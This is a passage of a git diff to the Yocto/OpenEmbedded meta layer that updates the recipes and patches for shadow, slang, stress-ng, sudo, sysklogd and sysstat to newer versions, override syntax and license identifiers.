+# https://bugzilla.redhat.com/show_bug.cgi?id=884658
+CVE_STATUS[CVE-2013-4235] = "upstream-wontfix: Severity is low and marked as closed and won't fix."
diff --git a/meta/recipes-extended/shadow/shadow_4.8.1.bb b/meta/recipes-extended/shadow/shadow_4.8.1.bb
deleted file mode 100644
index c975395ff8..0000000000
--- a/meta/recipes-extended/shadow/shadow_4.8.1.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require shadow.inc
-
-# Build falsely assumes that if --enable-libpam is set, we don't need to link against
-# libcrypt. This breaks chsh.
-BUILD_LDFLAGS_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
-
-BBCLASSEXTEND = "native nativesdk"
-
-
-
diff --git a/meta/recipes-extended/slang/slang/dont-link-to-host.patch b/meta/recipes-extended/slang/slang/dont-link-to-host.patch
index 42dba0fae4..4b02068991 100644
--- a/meta/recipes-extended/slang/slang/dont-link-to-host.patch
+++ b/meta/recipes-extended/slang/slang/dont-link-to-host.patch
@@ -1,3 +1,8 @@
+From b4a6e3c8309cff0f2311cd959c5091213b633851 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Tue, 7 Feb 2017 14:35:43 +0000
+Subject: [PATCH] slang: rewrite recipe to run autoconf
+
SLANG_INST_LIB is the location of where slang will end up, but when building for
packaging this doesn't have DESTDIR appended so can potentially link to the host
for cross builds and will trigger QA errors.
@@ -7,10 +12,20 @@ As this is obviously wrong, delete it.
Upstream-Status: Pending
Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ slsh/Makefile.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
diff --git a/slsh/Makefile.in b/slsh/Makefile.in
-index cba9d81..4c1c370 100644
+index addd343..63a5c9b 100644
--- a/slsh/Makefile.in
+++ b/slsh/Makefile.in
-@@ -80 +80 @@ SHELL = /bin/sh
--INST_LIBS = $(DEST_LIB_DIR) $(RPATH) $(SLANG_INST_LIB) -lslang $(READLINE_LIB) $(DYNAMIC_LIBS)
-+INST_LIBS = $(DEST_LIB_DIR) $(RPATH) -lslang $(READLINE_LIB) $(DYNAMIC_LIBS)
+@@ -77,7 +77,7 @@ SLSYSWRAP_LIB = @LIB_SLSYSWRAP@
+ #----------------------------------------------------------------------------
+ @SET_MAKE@
+ SHELL = /bin/sh
+-INST_LIBS = $(DEST_LIB_DIR) $(RPATH) $(SLANG_INST_LIB) -lslang $(LDFLAGS) $(READLINE_LIB) $(DYNAMIC_LIBS)
++INST_LIBS = $(DEST_LIB_DIR) $(RPATH) -lslang $(LDFLAGS) $(READLINE_LIB) $(DYNAMIC_LIBS)
+ DEFS = -DSLSH_CONF_DIR='"$(SLSH_CONF_DIR)"' -DSLSH_PATH='"$(SLSH_LIB_DIR)"' \
+ -DSLSH_CONF_DIR_ENV='$(SLSH_CONF_DIR_ENV)' -DSLSH_LIB_DIR_ENV='$(SLSH_LIB_DIR_ENV)' \
+ -DSLSH_PATH_ENV='$(SLSH_PATH_ENV)' $(SLSYSWRAP_DEF)
diff --git a/meta/recipes-extended/slang/slang/terminfo_fixes.patch b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
index 3e6d15aa79..331b7f02e4 100644
--- a/meta/recipes-extended/slang/slang/terminfo_fixes.patch
+++ b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
@@ -1,15 +1,30 @@
+From 2a75095638002d37a2f9c7aeb0ec54f271b0a1c4 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Tue, 1 Aug 2017 12:36:53 -0700
+Subject: [PATCH] slang: fix terminfo related problems
+
Do not use the JD_TERMCAP macro since we cannot get the terminfo from
ncurses pkg-config, but fix the macro to not reference host directories.
Also add src/test/Makefile.in so that we can use -ltermcap if we want to.
-Upstream-Status: Pending
+Upstream isn't going to take this, as it forces blank values and
+removes functionality without replacing it.
+Upstream-Status: Inappropriate [see above]
Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ autoconf/aclocal.m4 | 8 +---
+ autoconf/configure.ac | 11 +++++-
+ src/test/Makefile.in | 90 +++++++++++++++++++++++++++++++++++++++++++
+ 3 files changed, 100 insertions(+), 9 deletions(-)
+ create mode 100644 src/test/Makefile.in
+diff --git a/autoconf/aclocal.m4 b/autoconf/aclocal.m4
+index b2dfcd3..5f94ed3 100644
--- a/autoconf/aclocal.m4
+++ b/autoconf/aclocal.m4
-@@ -506,14 +506,10 @@ then
+@@ -509,15 +509,9 @@ then
else
MISC_TERMINFO_DIRS=""
fi
@@ -17,8 +32,8 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
- /usr/lib/terminfo \
- /usr/share/terminfo \
- /usr/share/lib/terminfo \
-- /usr/local/lib/terminfo"
-+
+- /usr/local/lib/terminfo \
+- /etc/terminfo /lib/terminfo"
TERMCAP=-ltermcap
-for terminfo_dir in $JD_Terminfo_Dirs
@@ -26,9 +41,11 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
do
if test -d $terminfo_dir
then
+diff --git a/autoconf/configure.ac b/autoconf/configure.ac
+index 8e11e13..9e6402c 100644
--- a/autoconf/configure.ac
+++ b/autoconf/configure.ac
-@@ -249,7 +249,14 @@ AC_CHECK_SIZEOF(size_t)
+@@ -250,7 +250,14 @@ AC_CHECK_SIZEOF(size_t)
JD_CHECK_LONG_LONG
JD_LARGE_FILE_SUPPORT
@@ -44,7 +61,7 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
JD_GCC_WARNINGS
JD_SET_OBJ_SRC_DIR(src)
-@@ -364,7 +371,7 @@ AC_CONFIG_HEADER(src/sysconf.h:src/confi
+@@ -365,7 +372,7 @@ AC_CONFIG_HEADER(src/sysconf.h:src/config.hin)
dnl AC_CONFIG_SUBDIRS(demo)
AC_OUTPUT(Makefile:autoconf/Makefile.in \
@@ -53,6 +70,9 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
slang.pc:autoconf/slangpc.in \
)
+diff --git a/src/test/Makefile.in b/src/test/Makefile.in
+new file mode 100644
+index 0000000..4b7307f
--- /dev/null
+++ b/src/test/Makefile.in
@@ -0,0 +1,90 @@
diff --git a/meta/recipes-extended/slang/slang_2.3.2.bb b/meta/recipes-extended/slang/slang_2.3.3.bb
index 99efb16da6..05b8aff0f2 100644
--- a/meta/recipes-extended/slang/slang_2.3.2.bb
+++ b/meta/recipes-extended/slang/slang_2.3.3.bb
@@ -11,7 +11,7 @@ HOMEPAGE = "http://www.jedsoft.org/slang/"
SECTION = "libs"
DEPENDS = "ncurses virtual/libiconv"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=a52a18a472d4f7e45479b06563717c02"
SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \
@@ -23,11 +23,10 @@ SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \
file://run-ptest \
"
-SRC_URI[md5sum] = "c2d5a7aa0246627da490be4e399c87cb"
-SRC_URI[sha256sum] = "fc9e3b0fc4f67c3c1f6d43c90c16a5c42d117b8e28457c5b46831b8b5d3ae31a"
+SRC_URI[sha256sum] = "f9145054ae131973c61208ea82486d5dd10e3c5cdad23b7c4a0617743c8f5a18"
UPSTREAM_CHECK_URI = "http://www.jedsoft.org/releases/slang/"
-PREMIRRORS_append = "\n http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/ \n"
+PREMIRRORS:append = " http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/"
inherit autotools-brokensep ptest
CLEANBROKEN = "1"
@@ -42,7 +41,7 @@ PACKAGECONFIG[pcre] = "--with-pcre=${STAGING_DIR_HOST}${prefix},--without-pcre,p
PACKAGECONFIG[png] = "--with-png=${STAGING_DIR_HOST}${prefix},--without-png,libpng"
PACKAGECONFIG[zlib] = "--with-z=${STAGING_DIR_HOST}${prefix},--without-z,zlib"
-do_configure_prepend() {
+do_configure:prepend() {
cd ${S}/autoconf
# slang keeps configure.ac and rest of autoconf files in autoconf/ directory
# we have to go there to be able to run gnu-configize cause it expects configure.{in,ac}
@@ -74,9 +73,9 @@ do_install_ptest() {
sed -i 's/\.\.\/\.\.\/doc\/text\/slangfun\.txt/slangfun\.txt/' ${D}${PTEST_PATH}/test/docfun.sl
}
-FILES_${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
+FILES:${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
-RDEPENDS_${PN}-ptest += "make"
+RDEPENDS:${PN}-ptest += "make"
PARALLEL_MAKE = ""
PARALLEL_MAKEINST = ""
diff --git a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch b/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch
deleted file mode 100644
index c860c717ac..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From bbc85a439672120fa1d36be79e959b28fe840919 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 30 Jul 2019 18:38:03 +0200
-Subject: [PATCH] Do not preserve ownership when installing example jobs
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index f36e57e..20488af 100644
---- a/Makefile
-+++ b/Makefile
-@@ -452,6 +452,6 @@ install: stress-ng stress-ng.1.gz
- mkdir -p ${DESTDIR}${MANDIR}
- cp stress-ng.1.gz ${DESTDIR}${MANDIR}
- mkdir -p ${DESTDIR}${JOBDIR}
-- cp -rp example-jobs/*.job ${DESTDIR}${JOBDIR}
-+ cp -r example-jobs/*.job ${DESTDIR}${JOBDIR}
- mkdir -p ${DESTDIR}${BASHDIR}
- cp bash-completion/stress-ng ${DESTDIR}${BASHDIR}
diff --git a/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch b/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch
deleted file mode 100644
index dba4494b91..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 55e11765af2bdc8adfac87dab1fb2682f7e6c236 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 9 Jun 2020 22:10:28 -0700
-Subject: [PATCH] Define daddr_t if __DADDR_T_TYPE is not defined
-
-glibc defined daddr_t but musl does not, ideally it should not be used
-and simple int type is enough. However, its better to leave glibc behavior
-as it is and only define it to int if daddr_t is not provided by libc
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- stress-ng.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/stress-ng.h b/stress-ng.h
-index 1a66293..802dc25 100644
---- a/stress-ng.h
-+++ b/stress-ng.h
-@@ -3763,6 +3763,10 @@ struct shim_statx {
- uint64_t __spare2[14];
- };
-
-+#ifndef __DADDR_T_TYPE
-+typedef int daddr_t;
-+#endif
-+
- /* old ustat struct */
- struct shim_ustat {
- #if defined(HAVE_DADDR_T)
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.11.17.bb b/meta/recipes-extended/stress-ng/stress-ng_0.11.17.bb
deleted file mode 100644
index a67df24dca..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng_0.11.17.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "System load testing utility"
-DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
-imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
-HOMEPAGE = "https://kernel.ubuntu.com/~cking/stress-ng/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "https://kernel.ubuntu.com/~cking/tarballs/${BPN}/${BP}.tar.xz \
- file://0001-Do-not-preserve-ownership-when-installing-example-jo.patch \
- file://no_daddr_t.patch \
- "
-SRC_URI[sha256sum] = "860291dd3a18b985b3483190a627bbede2b5c52113766c1921001b3fb4b83af0"
-
-DEPENDS = "coreutils-native"
-
-PROVIDES = "stress"
-RPROVIDES_${PN} = "stress"
-RREPLACES_${PN} = "stress"
-RCONFLICTS_${PN} = "stress"
-
-inherit bash-completion
-
-do_install() {
- oe_runmake DESTDIR=${D} install
- ln -s stress-ng ${D}${bindir}/stress
-}
-
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.17.06.bb b/meta/recipes-extended/stress-ng/stress-ng_0.17.06.bb
new file mode 100644
index 0000000000..a52b70d22f
--- /dev/null
+++ b/meta/recipes-extended/stress-ng/stress-ng_0.17.06.bb
@@ -0,0 +1,36 @@
+SUMMARY = "System load testing utility"
+DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
+imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
+HOMEPAGE = "https://github.com/ColinIanKing/stress-ng#readme"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/ColinIanKing/stress-ng.git;protocol=https;branch=master \
+ "
+SRCREV = "e6bda983cb48a201b6af173204372c7b37d6411f"
+S = "${WORKDIR}/git"
+
+DEPENDS = "coreutils-native libbsd"
+
+PROVIDES = "stress"
+RPROVIDES:${PN} = "stress"
+RREPLACES:${PN} = "stress"
+RCONFLICTS:${PN} = "stress"
+
+inherit bash-completion
+
+EXTRA_OEMAKE = "VERBOSE=1"
+
+do_configure() {
+ mkdir -p configs
+ touch configs/HAVE_APPARMOR
+ oe_runmake makeconfig
+}
+
+do_install() {
+ oe_runmake DESTDIR=${D} BINDIR=${bindir} install
+ ln -s stress-ng ${D}${bindir}/stress
+}
+
+# upstream issue: https://github.com/ColinIanKing/stress-ng/issues/315
+DEBUG_BUILD = "0"
diff --git a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
new file mode 100644
index 0000000000..041c717e00
--- /dev/null
+++ b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
@@ -0,0 +1,62 @@
+From 6e835350b7413210c410d3578cfab804186b7a4f Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Tue, 17 Nov 2020 11:13:40 +0800
+Subject: [PATCH] sudo.conf.in: fix conflict with multilib
+
+When pass ${libdir} to --libexecdir of sudo, it fails to install sudo
+and lib32-sudo at same time:
+
+| Error: Transaction test error:
+| file /etc/sudo.conf conflicts between attempted installs of
+ sudo-1.9.3p1-r0.core2_64 and lib32-sudo-1.9.3p1-r0.core2_32
+
+Update the comments in sudo.conf.in to avoid the conflict.
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+Upstream-Status: Inappropriate [OE configuration specific]
+
+---
+ examples/sudo.conf.in | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/examples/sudo.conf.in b/examples/sudo.conf.in
+index 2187457..0908d24 100644
+--- a/examples/sudo.conf.in
++++ b/examples/sudo.conf.in
+@@ -4,7 +4,7 @@
+ # Sudo plugins:
+ # Plugin plugin_name plugin_path plugin_options ...
+ #
+-# The plugin_path is relative to @plugindir@ unless
++# The plugin_path is relative to $plugindir such as /usr/lib/sudo unless
+ # fully qualified.
+ # The plugin_name corresponds to a global symbol in the plugin
+ # that contains the plugin interface structure.
+@@ -51,7 +51,7 @@
+ # The compiled-in value is usually sufficient and should only be changed
+ # if you rename or move the sudo_intercept.so file.
+ #
+-#Path intercept @intercept_file@
++#Path intercept $intercept_file
+
+ #
+ # Sudo noexec:
+@@ -65,7 +65,7 @@
+ # The compiled-in value is usually sufficient and should only be changed
+ # if you rename or move the sudo_noexec.so file.
+ #
+-#Path noexec @noexec_file@
++#Path noexec $noexec_file
+
+ #
+ # Sudo plugin directory:
+@@ -74,7 +74,7 @@
+ # The default directory to use when searching for plugins that are
+ # specified without a fully qualified path name.
+ #
+-#Path plugin_dir @plugindir@
++#Path plugin_dir $plugindir
+
+ #
+ # Core dumps:
diff --git a/meta/recipes-extended/sudo/sudo.inc b/meta/recipes-extended/sudo/sudo.inc
index 86a18be7e2..feb1cf35a7 100644
--- a/meta/recipes-extended/sudo/sudo.inc
+++ b/meta/recipes-extended/sudo/sudo.inc
@@ -3,12 +3,11 @@ DESCRIPTION = "Sudo (superuser do) allows a system administrator to give certain
HOMEPAGE = "http://www.sudo.ws"
BUGTRACKER = "http://www.sudo.ws/bugs/"
SECTION = "admin"
-LICENSE = "ISC & BSD & Zlib"
-LIC_FILES_CHKSUM = "file://doc/LICENSE;md5=828cd502ad216ff869bf83adf3301e02 \
+LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & Zlib"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=5100e20d35f9015f9eef6bdb27ba194f \
file://plugins/sudoers/redblack.c;beginline=1;endline=46;md5=03e35317699ba00b496251e0dfe9f109 \
file://lib/util/reallocarray.c;beginline=3;endline=15;md5=397dd45c7683e90b9f8bf24638cf03bf \
file://lib/util/fnmatch.c;beginline=3;endline=27;md5=004d7d2866ba1f5b41174906849d2e0f \
- file://lib/util/getcwd.c;beginline=2;endline=27;md5=50f8d9667750e18dea4e84a935c12009 \
file://lib/util/glob.c;beginline=2;endline=31;md5=2852f68687544e3eb8a0a61665506f0e \
file://lib/util/snprintf.c;beginline=3;endline=33;md5=b70df6179969e38fcf68da91b53b8029 \
file://include/sudo_queue.h;beginline=2;endline=27;md5=ad578e9664d17a010b63e4bc0576ee8d \
@@ -23,22 +22,20 @@ inherit autotools
PACKAGECONFIG ??= ""
PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
PACKAGECONFIG[pam-wheel] = ",,,pam-plugin-wheel"
-
-CONFFILES_${PN} = "${sysconfdir}/sudoers"
+PACKAGECONFIG[audit] = "--with-linux-audit,--without-linux-audit,audit"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
EXTRA_OECONF = "--with-editor=${base_bindir}/vi --with-env-editor"
-EXTRA_OECONF_append_libc-musl = " --disable-hardening "
+EXTRA_OECONF:append:libc-musl = " --disable-hardening "
-# mksigname/mksiglist are used on build host to generate source files
-do_compile_prepend () {
- # Remove build host references from sudo_usage.h
- sed -i \
- -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's,--build=${BUILD_SYS},,g' \
- -e 's,--host=${HOST_SYS},,g' \
- ${B}/src/sudo_usage.h
- oe_runmake SSP_CFLAGS="" SSP_LDFLAGS="" CC="$BUILD_CC" CFLAGS="$BUILD_CFLAGS" CPPFLAGS="$BUILD_CPPFLAGS -I${S}/include -I${S} -I${B}" -C lib/util mksigname mksiglist
+do_compile:prepend () {
+ # Remove build host references from config.h
+ sed -i \
+ -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's,--build=${BUILD_SYS},,g' \
+ -e 's,--host=${HOST_SYS},,g' \
+ ${B}/config.h
}
# Explicitly create ${localstatedir}/lib before do_install to ensure
@@ -46,6 +43,8 @@ do_compile_prepend () {
# script (from sudo) will recursively create ${localstatedir}/lib/sudo
# and then chmod each directory with 0700 permissions, which isn't what
# we want (i.e, users would not be able to access /var/lib).
-do_install_prepend (){
+do_install:prepend (){
mkdir -p ${D}/${localstatedir}/lib
}
+
+CVE_VERSION_SUFFIX = "patch"
diff --git a/meta/recipes-extended/sudo/sudo_1.9.2.bb b/meta/recipes-extended/sudo/sudo_1.9.15p5.bb
index 5756b2e146..8e542015ad 100644
--- a/meta/recipes-extended/sudo/sudo_1.9.2.bb
+++ b/meta/recipes-extended/sudo/sudo_1.9.15p5.bb
@@ -2,14 +2,15 @@ require sudo.inc
SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://0001-sudo.conf.in-fix-conflict-with-multilib.patch \
"
PAM_SRC_URI = "file://sudo.pam"
-SRC_URI[sha256sum] = "7c98d201f181c47152711b9f391e0f6b5545f3ef8926298a3e8bc6288e118314"
+SRC_URI[sha256sum] = "558d10b9a1991fb3b9fa7fa7b07ec4405b7aefb5b3cb0b0871dbc81e3a88e558"
DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
+RDEPENDS:${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
CACHED_CONFIGUREVARS = " \
ac_cv_type_rsize_t=no \
@@ -24,9 +25,10 @@ EXTRA_OECONF += " \
${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${nonarch_libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \
--with-rundir=/run/sudo \
--with-vardir=/var/lib/sudo \
+ --libexecdir=${libdir} \
"
-do_install_append () {
+do_install:append () {
if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then
@@ -42,6 +44,18 @@ do_install_append () {
rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo
}
-FILES_${PN} += "${nonarch_libdir}/tmpfiles.d"
-FILES_${PN}-dev += "${libexecdir}/${BPN}/lib*${SOLIBSDEV} ${libexecdir}/${BPN}/*.la \
- ${libexecdir}/lib*${SOLIBSDEV} ${libexecdir}/*.la"
+FILES:${PN}-dev += "${libdir}/${BPN}/lib*${SOLIBSDEV} ${libdir}/${BPN}/*.la \
+ ${libdir}/lib*${SOLIBSDEV} ${libdir}/*.la"
+
+CONFFILES:${PN}-lib = "${sysconfdir}/sudoers"
+
+SUDO_PACKAGES = "${PN}-sudo\
+ ${PN}-lib"
+
+PACKAGE_BEFORE_PN = "${SUDO_PACKAGES}"
+
+RDEPENDS:${PN}-sudo = "${PN}-lib"
+RDEPENDS:${PN} += "${SUDO_PACKAGES}"
+
+FILES:${PN}-sudo = "${bindir}/sudo ${bindir}/sudoedit"
+FILES:${PN}-lib = "${localstatedir} ${libexecdir} ${sysconfdir} ${libdir} ${nonarch_libdir}"
diff --git a/meta/recipes-extended/sysklogd/files/sysklogd b/meta/recipes-extended/sysklogd/files/sysklogd
index 2a356a637a..050772b59d 100755
--- a/meta/recipes-extended/sysklogd/files/sysklogd
+++ b/meta/recipes-extended/sysklogd/files/sysklogd
@@ -22,6 +22,9 @@ binpath_syslogd=/usr/sbin/syslogd
test -x $binpath || exit 0
+# run secure by default
+SYSLOGD="-ss"
+
test ! -r /etc/default/syslogd || . /etc/default/syslogd
create_xconsole()
diff --git a/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb b/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb
deleted file mode 100644
index 2917c2aae0..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-require sysklogd.inc
-
-SRCREV = "6d6010add698370fc7d9828f0aaa18613dd2397f"
diff --git a/meta/recipes-extended/sysklogd/sysklogd.inc b/meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb
index 2e3d9831b1..c9c9055142 100644
--- a/meta/recipes-extended/sysklogd/sysklogd.inc
+++ b/meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb
@@ -10,14 +10,17 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=5b4be4b2549338526758ef479c040943 \
inherit update-rc.d update-alternatives systemd autotools
-SRC_URI = "git://github.com/troglobit/sysklogd.git;nobranch=1 \
+SRC_URI = "git://github.com/troglobit/sysklogd.git;branch=master;protocol=https \
file://sysklogd \
"
+
+SRCREV = "3332c550f1a68393daec5d64cd81f3b7674c0af5"
+
S = "${WORKDIR}/git"
EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger"
-do_install_append () {
+do_install:append () {
install -d ${D}${sysconfdir}
install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf
install -d ${D}${sysconfdir}/init.d
@@ -25,21 +28,21 @@ do_install_append () {
}
SYSTEMD_PACKAGES = "${PN}"
-SYSTEMD_SERVICE_${PN} = "syslogd.service"
+SYSTEMD_SERVICE:${PN} = "syslogd.service"
SYSTEMD_AUTO_ENABLE = "enable"
INITSCRIPT_NAME = "syslog"
-CONFFILES_${PN} = "${sysconfdir}/syslog.conf"
-RCONFLICTS_${PN} = "rsyslog busybox-syslog syslog-ng"
+CONFFILES:${PN} = "${sysconfdir}/syslog.conf"
+RCONFLICTS:${PN} = "rsyslog busybox-syslog syslog-ng"
-FILES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
+FILES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}-doc = "syslogd.8"
+ALTERNATIVE:${PN}-doc = "syslogd.8"
ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
-pkg_prerm_${PN} () {
+pkg_prerm:${PN} () {
if test "x$D" = "x"; then
if test "$1" = "upgrade" -o "$1" = "remove"; then
/etc/init.d/syslog stop || :
diff --git a/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
index 4067bb983b..84383f955f 100644
--- a/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
+++ b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
@@ -1,7 +1,7 @@
From 1590cc614aaf0fb81cd804414d6c9d5a9227352c Mon Sep 17 00:00:00 2001
From: Wenlin Kang <wenlin.kang@windriver.com>
Date: Tue, 5 Nov 2019 16:16:44 +0800
-Subject: [PATCH] configure.in: remove check for chkconfig
+Subject: [PATCH] configure.ac: remove check for chkconfig
chkconfig can't work on cross-platform, so should remove check for it.
@@ -9,13 +9,13 @@ Upstream-Status: Inappropriate [ embedded specific ]
Signed-off-by: Wenlin Kang <wenlin.kang@windriver.com>
---
- configure.in | 3 ++-
+ configure.ac | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
-diff --git a/configure.in b/configure.in
+diff --git a/configure.ac b/configure.ac
index 48b9a31..cedeb43 100644
---- a/configure.in
-+++ b/configure.in
+--- a/configure.ac
++++ b/configure.ac
@@ -42,7 +42,8 @@ AC_SUBST(VER_JSON)
AC_SUBST(VER_XML)
diff --git a/meta/recipes-extended/sysstat/sysstat_12.2.2.bb b/meta/recipes-extended/sysstat/sysstat_12.2.2.bb
deleted file mode 100644
index 333d10295a..0000000000
--- a/meta/recipes-extended/sysstat/sysstat_12.2.2.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require sysstat.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
-
-SRC_URI += "file://0001-configure.in-remove-check-for-chkconfig.patch"
-
-SRC_URI[md5sum] = "1073fdf7bba58483a467a8a0681beeda"
-SRC_URI[sha256sum] = "78388b64acec81378b962e66b40e57acd4b18ff17a849bc9308f95d290248c9c"
diff --git a/meta/recipes-extended/sysstat/sysstat.inc b/meta/recipes-extended/sysstat/sysstat_12.7.5.bb
index 8fd87b943b..150f4932d8 100644
--- a/meta/recipes-extended/sysstat/sysstat.inc
+++ b/meta/recipes-extended/sysstat/sysstat_12.7.5.bb
@@ -1,20 +1,24 @@
SUMMARY = "System performance tools"
DESCRIPTION = "The sysstat utilities are a collection of performance monitoring tools for Linux."
-HOMEPAGE = "http://sebastien.godard.pagesperso-orange.fr/"
-LICENSE = "GPLv2+"
+HOMEPAGE = "https://sysstat.github.io/"
+LICENSE = "GPL-2.0-or-later"
SECTION = "console/utils"
-SRC_URI = "http://pagesperso-orange.fr/sebastien.godard/${BP}.tar.xz \
+SRC_URI = "git://github.com/sysstat/sysstat.git;protocol=https;branch=master \
file://99_sysstat \
file://sysstat.service \
+ file://0001-configure.in-remove-check-for-chkconfig.patch \
"
-UPSTREAM_CHECK_URI = "http://sebastien.godard.pagesperso-orange.fr/download.html"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
+
+SRCREV = "2d7682f26f42cef9127b123e319349b330c4ab8f"
+S = "${WORKDIR}/git"
DEPENDS += "base-passwd"
# autotools-brokensep as this package doesn't use automake
-inherit autotools-brokensep gettext systemd upstream-version-is-even
+inherit autotools-brokensep gettext systemd
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
PACKAGECONFIG[lm-sensors] = "--enable-sensors,--disable-sensors,lmsensors,lmsensors-libsensors"
